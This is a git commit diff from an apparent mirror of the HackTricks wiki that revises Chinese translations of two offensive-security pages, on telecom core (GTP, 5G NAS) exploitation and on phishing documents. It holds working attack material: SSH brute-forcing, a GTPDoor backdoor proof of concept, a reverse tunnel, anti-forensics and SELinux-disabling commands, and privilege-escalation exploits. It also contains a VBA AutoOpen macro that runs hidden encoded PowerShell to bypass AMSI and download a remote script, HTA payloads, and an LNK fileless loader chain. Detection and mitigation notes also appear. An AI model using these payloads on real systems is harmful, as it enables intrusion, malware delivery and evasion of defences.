mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
455c6f7028
commit
9a722f9cd3
@ -1,27 +1,27 @@
|
||||
# 电信网络利用 (GTP / 漫游环境)
|
||||
# Telecom Network Exploitation (GTP / 漫游环境)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> 移动核心协议(GPRS Tunnelling Protocol – GTP)通常穿越半受信任的 GRX/IPX 漫游骨干网。由于它们基于明文 UDP 且几乎没有认证,**一旦在运营商边界内获得立足点,通常就能直接访问核心信令平面**。以下笔记汇总了在实战中针对 SGSN/GGSN、PGW/SGW 及其他 EPC 节点观察到的攻击技巧。
|
||||
> 移动核心协议 (GPRS Tunnelling Protocol – GTP) 常常穿越半受信任的 GRX/IPX 漫游骨干。由于它们使用明文 UDP 且几乎没有认证,**任何在电信周边取得的立足点通常都能直接到达核心信令平面**。以下笔记收集了在野外针对 SGSN/GGSN、PGW/SGW 和其它 EPC 节点观察到的攻击技巧。
|
||||
|
||||
## 1. 侦察与初始访问
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 默认 OSS / NE 账户
|
||||
大量厂商的网络设备出厂时包含硬编码的 SSH/Telnet 用户,例如 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …。专门的口令字典可以显著提高暴力破解的成功率:
|
||||
### 1.1 默认 OSS / NE 帐户
|
||||
大量厂商的网络设备出厂时包含硬编码的 SSH/Telnet 用户,例如 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …。专门的 wordlist 会显著提升 brute-force 成功率:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
如果设备仅暴露管理 VRF,请先通过 jump host 进行 pivot(见下文 «SGSN Emu Tunnel» 一节)。
|
||||
如果设备仅暴露管理 VRF,请先通过 jump host 进行 pivot(参见下面的 «SGSN Emu Tunnel» 部分)。
|
||||
|
||||
### 1.2 GRX/IPX 内的主机发现
|
||||
大多数 GRX 运营商仍然允许在骨干网中使用 **ICMP echo**。将 `masscan` 与内置的 `gtpv1` UDP 探针结合使用,以快速映射 GTP-C 监听器:
|
||||
大多数 GRX 运营商仍然允许在骨干网络上使用 **ICMP echo**。将 `masscan` 与内置的 `gtpv1` UDP 探针结合使用,以快速映射 GTP-C 侦听器:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. 枚举订阅者 – `cordscan`
|
||||
## 2. 枚举订户 – `cordscan`
|
||||
|
||||
下面的 Go 工具构造 **GTP-C Create PDP Context Request** 数据包并记录响应。每个回复会揭示当前为被查询的 IMSI 提供服务的 **SGSN / MME**,有时还会显示该订阅者访问的 PLMN。
|
||||
下面的 Go 工具构造 **GTP-C Create PDP Context Request** 数据包并记录响应。每个回复会显示当前为所查询的 IMSI 提供服务的 **SGSN / MME**,有时还会显示该订户访问的 PLMN。
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,12 +29,12 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
关键参数:
|
||||
主要标志:
|
||||
- `--imsi` 目标订户 IMSI
|
||||
- `--oper` 归属 / HNI (MCC+MNC)
|
||||
- `--oper` 归属网络 / HNI (MCC+MNC)
|
||||
- `-w` 将原始数据包写入 pcap
|
||||
|
||||
可以通过修补二进制文件中的重要常量来扩大扫描范围:
|
||||
二进制文件中的重要常量可以被修改以扩大扫描范围:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
@ -42,7 +42,7 @@ common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. 通过 GTP 的代码执行 – `GTPDoor`
|
||||
|
||||
`GTPDoor` 是一个小型 ELF 服务,**binds UDP 2123 并解析每个传入的 GTP-C 包**。当负载以预共享标签开头时,剩余部分会被解密(AES-128-CBC)并通过 `/bin/sh -c` 执行。stdout/stderr 会被封装并通过 **Echo Response** 消息外发,因此永远不会创建外向的会话。
|
||||
`GTPDoor` 是一个小型 ELF 服务,**绑定 UDP 2123 并解析每个传入的 GTP-C 包**。当 payload 以 pre-shared tag 开头时,剩余部分会被解密 (AES-128-CBC) 并通过 `/bin/sh -c` 执行。stdout/stderr 被封装在 **Echo Response** 消息中外传,因此不会创建任何外向会话。
|
||||
|
||||
最小 PoC 数据包 (Python):
|
||||
```python
|
||||
@ -52,38 +52,38 @@ cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
检测:
|
||||
* 任何主机向 SGSN IP 发送**不成对的 Echo Requests**
|
||||
* GTP version flag 被设置为 1 且 message type = 1 (Echo) — 偏离规范
|
||||
检测:
|
||||
* 任何主机向 SGSN IPs 发送 **unbalanced Echo Requests**
|
||||
* GTP 版本标志设置为 1 而消息类型 = 1 (Echo) – 与规范不符
|
||||
|
||||
## 4. Pivoting Through the Core
|
||||
## 4. Pivoting 通过核心网络
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` 提供了一个 SGSN 仿真器,能够**向真实的 GGSN/PGW 建立 PDP context**。协商完成后,Linux 会收到一个新的 `tun0` 接口,可从漫游对端访问。
|
||||
`OsmoGGSN` 提供一个 SGSN 模拟器,能够 **establish a PDP context towards a real GGSN/PGW**。 一旦协商完成,Linux 会收到一个新的 `tun0` 接口,可从漫游对端访问。
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
通过合适的 firewall hair-pinning,该隧道可绕过仅用于信令的 VLANs,直接进入 **数据平面**。
|
||||
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS 在漫游基础设施中几乎总是开放的。将内部 SSH 服务暴露到你的 VPS,监听 :53,然后稍后从家中回连:
|
||||
DNS 在漫游基础设施中几乎总是开放的。 将内部 SSH 服务暴露到你的 VPS(监听 :53),随后可以从家中回连:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
检查 `GatewayPorts yes` 是否在 VPS 上启用。
|
||||
确认 VPS 上已启用 `GatewayPorts yes`。
|
||||
|
||||
## 5. 隐蔽信道
|
||||
## 5. 隐蔽通道
|
||||
|
||||
| 通道 | 传输 | 解码 | 说明 |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 纯被动监听器,不产生外发流量 |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | 监听 `*.nodep` 子域名 |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 与合法的 GTP 通信流量混合 |
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 纯被动监听器,无外发流量 |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | 监控 `*.nodep` 子域名 |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 与合法的 GTP-C 通信混合 |
|
||||
|
||||
所有 implants 都实现了 watchdogs,会 **timestomp** 它们的二进制文件,并在崩溃后重新启动。
|
||||
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
|
||||
|
||||
## 6. 防御规避 速查表
|
||||
```bash
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. 遗留 NE 的权限提升
|
||||
## 7. 在遗留 NE 上的权限提升
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -111,79 +111,79 @@ python3 PwnKit.py
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
清理提示:
|
||||
清理提示:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. 工具箱
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 自定义工具,前文已描述。
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 在前面章节中描述的自定义工具。
|
||||
* `FScan` : 内网 TCP 扫描 (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS 恶意 WPAD
|
||||
* `Microsocks` + `ProxyChains` : 轻量级 SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / 资产桥接
|
||||
* `Microsocks` + `ProxyChains` : 轻量级 SOCKS5 转发
|
||||
* `FRP` (≥0.37) : NAT 穿透 / 资产桥接
|
||||
|
||||
## 9. 5G NAS 注册攻击: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
5G 注册过程在 NGAP 之上的 NAS (Non-Access Stratum) 上运行。在 Security Mode Command/Complete 激活 NAS 安全之前,初始消息是未认证且未加密的。这个安全前窗口在你能够观察或篡改 N2 流量时(例如,位于核心内的中间路径、恶意 gNB,或测试台)提供了多条攻击路径。
|
||||
5G 注册流程在 NGAP 之上通过 NAS (Non-Access Stratum) 运行。在通过 Security Mode Command/Complete 激活 NAS 安全之前,初始消息既未认证也未加密。这个安全前窗口在你能够观察或篡改 N2 流量时(例如,位于核心内的 on-path、rogue gNB,或测试台)允许多种攻击路径。
|
||||
|
||||
注册流程(简化):
|
||||
- Registration Request: UE 发送 SUCI(加密的 SUPI)和能力。
|
||||
Registration flow (简化):
|
||||
- Registration Request: UE 发送 SUCI (加密的 SUPI) 和能力信息。
|
||||
- Authentication: AMF/AUSF 发送 RAND/AUTN;UE 返回 RES*。
|
||||
- Security Mode Command/Complete: NAS 完整性和加密被协商并激活。
|
||||
- PDU Session Establishment: IP/QoS 设置。
|
||||
- Security Mode Command/Complete: 协商并激活 NAS 完整性和加密。
|
||||
- PDU Session Establishment: IP/QoS 配置。
|
||||
|
||||
实验室搭建建议(非 RF):
|
||||
- Core: Open5GS 默认部署足以重现流程。
|
||||
实验室配置建议(非 RF):
|
||||
- Core: Open5GS 的默认部署足以重现流程。
|
||||
- UE: 模拟器或测试 UE;使用 Wireshark 解码。
|
||||
- Active tooling: 5GReplay(在 NGAP 内捕获/修改/重放 NAS),Sni5Gect(实时嗅探/打补丁/注入 NAS,无需启动完整的恶意 gNB)。
|
||||
- Useful display filters in Wireshark:
|
||||
- Active tooling: 5GReplay (捕获/修改/重放 NGAP 内的 NAS), Sni5Gect (在不启动完整 rogue gNB 的情况下实时嗅探/修补/注入 NAS)。
|
||||
- 在 Wireshark 中有用的 display filters:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 标识符隐私:SUCI failures exposing SUPI/IMSI
|
||||
预期:UE/USIM 必须发送 SUCI(使用归属网络公钥加密的 SUPI)。在 Registration Request 中发现明文 SUPI/IMSI 表明存在隐私缺陷,可能导致持久的用户跟踪。
|
||||
### 9.1 标识符隐私: SUCI 故障导致暴露 SUPI/IMSI
|
||||
预期行为:UE/USIM 必须发送 SUCI(使用家庭网络公钥加密的 SUPI)。如果在 Registration Request 中发现明文 SUPI/IMSI,则表示存在隐私缺陷,可能导致持久的用户追踪。
|
||||
|
||||
如何测试:
|
||||
- 捕获 InitialUEMessage 中的第一个 NAS 消息并检查 Mobile Identity IE。
|
||||
- 捕获 InitialUEMessage 中的首个 NAS 消息并检查 Mobile Identity IE。
|
||||
- Wireshark 快速检查:
|
||||
- 它应该解码为 SUCI,而不是 IMSI。
|
||||
- 过滤示例:`nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` 应存在;缺失且出现 `imsi` 则表明泄露。
|
||||
- 过滤示例:`nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` 应存在;若不存在且同时出现 `imsi` 则表明泄露。
|
||||
|
||||
需要收集:
|
||||
- 如果暴露,记录 MCC/MNC/MSIN;按 UE 日志并跨时间/地点追踪。
|
||||
需要收集的信息:
|
||||
- 如果被暴露,记录 MCC/MNC/MSIN;按 UE 记录并在不同时间/位置间跟踪。
|
||||
|
||||
缓解措施:
|
||||
- 强制只允许 SUCI 的 UE/USIM;对初始 NAS 中的任何 IMSI/SUPI 发出告警。
|
||||
- 强制只允许 SUCI 的 UE/USIM;对任何出现在初始 NAS 中的 IMSI/SUPI 发出告警。
|
||||
|
||||
### 9.2 能力降级到空算法 (EEA0/EIA0)
|
||||
### 9.2 能力降级到 null 算法(EEA0/EIA0)
|
||||
背景:
|
||||
- UE 在 Registration Request 的 UE Security Capability IE 中通告支持的 EEA(加密)和 EIA(完整性)。
|
||||
- 常见映射:EEA1/EIA1 = SNOW3G,EEA2/EIA2 = AES,EEA3/EIA3 = ZUC;EEA0/EIA0 为 null 算法。
|
||||
- 常见映射:EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC;EEA0/EIA0 为 null 算法。
|
||||
|
||||
问题:
|
||||
- 由于 Registration Request 未受完整性保护,中间路径攻击者可以清除能力位,迫使在 Security Mode Command 时选择 EEA0/EIA0。一些实现错误地在紧急服务之外允许 null 算法。
|
||||
- 由于 Registration Request 未受完整性保护,on-path 攻击者可以清除能力位以在后续的 Security Mode Command 中强制选择 EEA0/EIA0。部分实现错误地在紧急服务之外允许 null 算法。
|
||||
|
||||
攻击步骤:
|
||||
攻击步骤(进攻方):
|
||||
- 截获 InitialUEMessage 并修改 NAS UE Security Capability,使其只通告 EEA0/EIA0。
|
||||
- 使用 Sni5Gect 钩取 NAS 消息并在转发前打补丁能力位。
|
||||
- 观察 AMF 是否接受 null 加密/完整性并在 Security Mode 完成时使用 EEA0/EIA0。
|
||||
- 使用 Sni5Gect,hook NAS 消息并在转发前补丁能力位。
|
||||
- 观察 AMF 是否接受 null 加密/完整性并以 EEA0/EIA0 完成 Security Mode。
|
||||
|
||||
验证/可视性:
|
||||
- 在 Wireshark 中,确认 Security Mode Command/Complete 后选定的算法。
|
||||
- 示例被动嗅探器输出:
|
||||
验证/可见性:
|
||||
- 在 Wireshark 中,确认 Security Mode Command/Complete 之后选定的算法。
|
||||
- 示例被动嗅探输出:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Mitigations (must):
|
||||
- Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
|
||||
- Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.
|
||||
- 配置 AMF/policy 拒绝 EEA0/EIA0,除非严格要求(例如 emergency calls)。
|
||||
- 优先至少强制执行 EEA2/EIA2;对任何协商 null algorithms 的 NAS 安全上下文进行记录并触发告警。
|
||||
|
||||
### 9.3 初始注册请求的重放(pre-security NAS)
|
||||
由于初始 NAS 缺乏完整性和新鲜性,捕获的 InitialUEMessage+Registration Request 可以被重放到 AMF。
|
||||
### 9.3 重放 initial Registration Request (pre-security NAS)
|
||||
由于 initial NAS 缺乏完整性和新鲜度,捕获到的 InitialUEMessage+Registration Request 可以被重放到 AMF。
|
||||
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
```xml
|
||||
@ -208,11 +208,11 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
观察要点:
|
||||
- AMF 是否接受重放并继续进行认证;缺乏新鲜性/上下文验证表明存在风险。
|
||||
What to observe:
|
||||
- AMF 是否接受重放并继续 Authentication;缺乏新鲜性/上下文验证表明存在暴露。
|
||||
|
||||
缓解措施:
|
||||
- 在 AMF 强制实施重放保护/上下文绑定;对每个 GNB/UE 进行速率限制和关联。
|
||||
Mitigations:
|
||||
- 在 AMF 强制实施重放保护/上下文绑定;对每个 GNB/UE 进行速率限制和关联检测。
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||
@ -220,22 +220,22 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
|
||||
### 9.5 防御检查表
|
||||
- 持续检查 Registration Request 是否包含明文 SUPI/IMSI;封堵违规设备/USIM。
|
||||
- 拒绝 EEA0/EIA0,除非用于严格限定的紧急程序;至少要求使用 EEA2/EIA2。
|
||||
- 检测流氓或配置错误的基础设施:未授权的 gNB/AMF、异常的 N2 对端。
|
||||
- 对导致 null 算法或 InitialUEMessage 频繁重放的 NAS 安全模式发出告警。
|
||||
### 9.5 Defensive checklist
|
||||
- 持续检查 Registration Request 中是否包含明文 SUPI/IMSI;阻断违规设备/USIMs。
|
||||
- 拒绝 EEA0/EIA0,除非在严格限定的紧急程序中允许;至少要求 EEA2/EIA2。
|
||||
- 检测流氓或配置错误的基础设施:未授权的 gNB/AMF、意外的 N2 对端。
|
||||
- 对导致 null 算法或频繁重放 InitialUEMessage 的 NAS 安全模式发出告警。
|
||||
|
||||
---
|
||||
## 检测思路
|
||||
1. **任何非 SGSN/GGSN 的设备发起 Create PDP Context Requests**。
|
||||
2. **来自内部 IP 的 SSH 握手出现在非标准端口(53、80、443)**。
|
||||
3. **频繁的 Echo Requests 而无对应的 Echo Responses** – 可能表示 GTPDoor 信标。
|
||||
4. **具有较大且非零标识符/序列字段的高速 ICMP echo-reply 流量**。
|
||||
5. 5G:**InitialUEMessage 携带的 NAS Registration Requests 从相同端点重复出现**(重放信号)。
|
||||
6. 5G:**在非紧急情境下 NAS Security Mode 协商 EEA0/EIA0**。
|
||||
## Detection Ideas
|
||||
1. **除 SGSN/GGSN 之外的任何设备建立 Create PDP Context Requests**。
|
||||
2. **来自内部 IP 的非标准端口(53、80、443)接收 SSH 握手**。
|
||||
3. **频繁的 Echo Requests 而没有相应的 Echo Responses** – 可能表示 GTPDoor 信标。
|
||||
4. **大量带有大且非零 identifier/sequence 字段的 ICMP echo-reply 流量**。
|
||||
5. 5G: **InitialUEMessage 携带的 NAS Registration Requests 从相同端点重复出现**(重放信号)。
|
||||
6. 5G: **NAS Security Mode 在非紧急场景协商 EEA0/EIA0**。
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
|
||||
@ -1,40 +1,40 @@
|
||||
# Phishing 文件与文档
|
||||
# 钓鱼 文件与文档
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Office 文档
|
||||
|
||||
Microsoft Word 在打开文件之前执行文件数据验证。数据验证以数据结构识别的形式进行,依据 OfficeOpenXML 标准。如果在数据结构识别过程中发生任何错误,被分析的文件将不会被打开。
|
||||
Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式,根据 OfficeOpenXML 标准执行。如果在数据结构识别过程中发生任何错误,被分析的文件将不会被打开。
|
||||
|
||||
通常,包含宏的 Word 文件使用 `.docm` 扩展名。不过,可以通过更改文件扩展名来重命名文件,同时仍保留其宏执行能力。\
|
||||
例如,RTF 文件按设计不支持宏,但将 DOCM 文件重命名为 RTF 后,Microsoft Word 仍会处理它,并且能够执行宏。\
|
||||
相同的内部机制适用于 Microsoft Office Suite 的所有软件(Excel、PowerPoint 等)。
|
||||
通常,包含宏的 Word 文件使用 `.docm` 扩展名。然而,可以通过更改文件扩展名来重命名文件,同时仍保持其宏执行能力。\
|
||||
例如,按设计,RTF 文件不支持宏,但将 DOCM 文件重命名为 RTF 后,Microsoft Word 仍会处理该文件并能够执行宏。\
|
||||
相同的内部机制适用于 Microsoft Office Suite(Excel、PowerPoint 等)的所有软件。
|
||||
|
||||
您可以使用以下命令检查哪些扩展名将被某些 Office 程序执行:
|
||||
你可以使用以下命令来检查哪些扩展名会被某些 Office 程序执行:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
|
||||
### 外部图片加载
|
||||
### 外部图像加载
|
||||
|
||||
转到: _Insert --> Quick Parts --> Field_\
|
||||
_**类别**: Links and References, **字段名**: includePicture, and **文件名或 URL**:_ http://<ip>/whatever
|
||||
Go to: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### 宏后门
|
||||
### Macros 后门
|
||||
|
||||
可以利用宏从文档中运行任意代码。
|
||||
可以使用 macros 从文档中运行任意代码。
|
||||
|
||||
#### 自动加载函数
|
||||
|
||||
这些函数越常见,AV 检测到它们的可能性越大。
|
||||
这些越常见,AV 检测到它们的可能性越大。
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### 宏代码示例
|
||||
#### Macros 代码示例
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -64,26 +64,26 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### 手动删除元数据
|
||||
#### 手动移除元数据
|
||||
|
||||
转到 **File > Info > Inspect Document > Inspect Document**,这会打开 Document Inspector。点击 **Inspect**,然后在 **Document Properties and Personal Information** 旁点击 **Remove All**。
|
||||
|
||||
#### Doc Extension
|
||||
#### 文档扩展名
|
||||
|
||||
完成后,选择 **Save as type** 下拉菜单,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\
|
||||
这样做是因为你 **can't save macro's inside a `.docx`**,而且带宏的 **`.docm`** 扩展名有一定的 **污名**(例如缩略图图标会有一个很大的 `!`,一些 web/email 网关会完全拦截它们)。因此,这个 **传统的 `.doc` 扩展名是最好的折中方案**。
|
||||
完成后,选择 **Save as type** 下拉菜单,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**.\\
|
||||
之所以这样做,是因为你 **can't save macro's inside a `.docx`**,并且带有 macro-enabled **`.docm`** 扩展名存在一定的污名(例如,缩略图图标有一个巨大的 `!`,一些 web/email gateway 会完全阻止它们)。因此,这个 **传统 `.doc` 扩展名是最好的折衷**。
|
||||
|
||||
#### Malicious Macros Generators
|
||||
#### 恶意 Macros 生成器
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## HTA Files
|
||||
## HTA 文件
|
||||
|
||||
An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**。它生成用户界面并作为“fully trusted”应用程序执行,而不受浏览器安全模型的约束。
|
||||
HTA 是一个 Windows 程序,**combines HTML and scripting languages (such as VBScript and JScript)**。它生成用户界面并作为 "fully trusted" 应用执行,不受浏览器安全模型的约束。
|
||||
|
||||
An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**。所以如果它被卸载,HTAs 将无法执行。
|
||||
HTA 通过 **`mshta.exe`** 执行,通常会随着 **Internet Explorer** 一起 **安装**,这使得 **`mshta` 依赖于 IE**。因此,如果它已被卸载,HTA 将无法执行。
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,11 +138,11 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## 强制 NTLM 认证
|
||||
## 强制 NTLM 验证
|
||||
|
||||
有几种方法可以**远程强制 NTLM 认证**,例如,你可以在用户会访问的邮件或 HTML 中加入**隐形图片**(甚至通过 HTTP MitM?)。或者发送给受害者会在仅仅**打开文件夹**时就**触发**一次**认证**的**文件地址**。
|
||||
有多种方法可以**“远程”强制 NTLM 验证**,例如,你可以在用户会访问的邮件或 HTML 中添加**不可见图像**(甚至 HTTP MitM?)。或者将会在**打开文件夹**时就**触发**一次**身份验证**的**文件地址**发送给受害者。
|
||||
|
||||
**在下列页面中查看这些想法及更多内容:**
|
||||
**请在以下页面查看这些想法及更多内容:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,24 +156,24 @@ self.close
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
别忘了,你不仅可以窃取哈希或认证,也可以**perform NTLM relay attacks**:
|
||||
别忘了,你不仅可以窃取 hash 或 身份验证,还可以**perform NTLM relay attacks**:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
高效的活动会投放一个 ZIP,其中包含两个合法的诱饵文档 (PDF/DOCX) 和一个恶意的 .lnk。诀窍在于实际的 PowerShell loader 存储在 ZIP 的原始字节中一个独特标记之后,而 .lnk 会在内存中从中切割并完全运行它。
|
||||
高效的攻击活动通常投放一个 ZIP,包含两个合法的诱饵文档(PDF/DOCX)和一个恶意 .lnk。技巧在于真正的 PowerShell loader 被存放在 ZIP 的原始字节中,在一个唯一标记之后,.lnk 会从中切割并在内存中完整运行它。
|
||||
|
||||
典型流程由 .lnk 的 PowerShell 单行命令实现:
|
||||
\.lnk PowerShell 单行命令实现的典型流程:
|
||||
|
||||
1) 定位原始 ZIP 于常见路径:Desktop, Downloads, Documents, %TEMP%, %ProgramData%, 以及当前工作目录的父目录。
|
||||
2) 读取 ZIP 字节并查找硬编码标记(例如 xFIQCV)。标记之后的所有内容就是嵌入的 PowerShell payload。
|
||||
3) 将 ZIP 复制到 %ProgramData%,在那里解压,并打开诱饵 .docx 以显得合法。
|
||||
4) 对当前进程绕过 AMSI: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) 对下一阶段进行去混淆(例如删除所有 # 字符)并在内存中执行。
|
||||
1) 在常见路径中定位原始 ZIP:Desktop、Downloads、Documents、%TEMP%、%ProgramData%,以及当前工作目录的父目录。
|
||||
2) 读取 ZIP 字节并查找硬编码标记(例如 xFIQCV)。标记之后的所有内容都是嵌入的 PowerShell payload。
|
||||
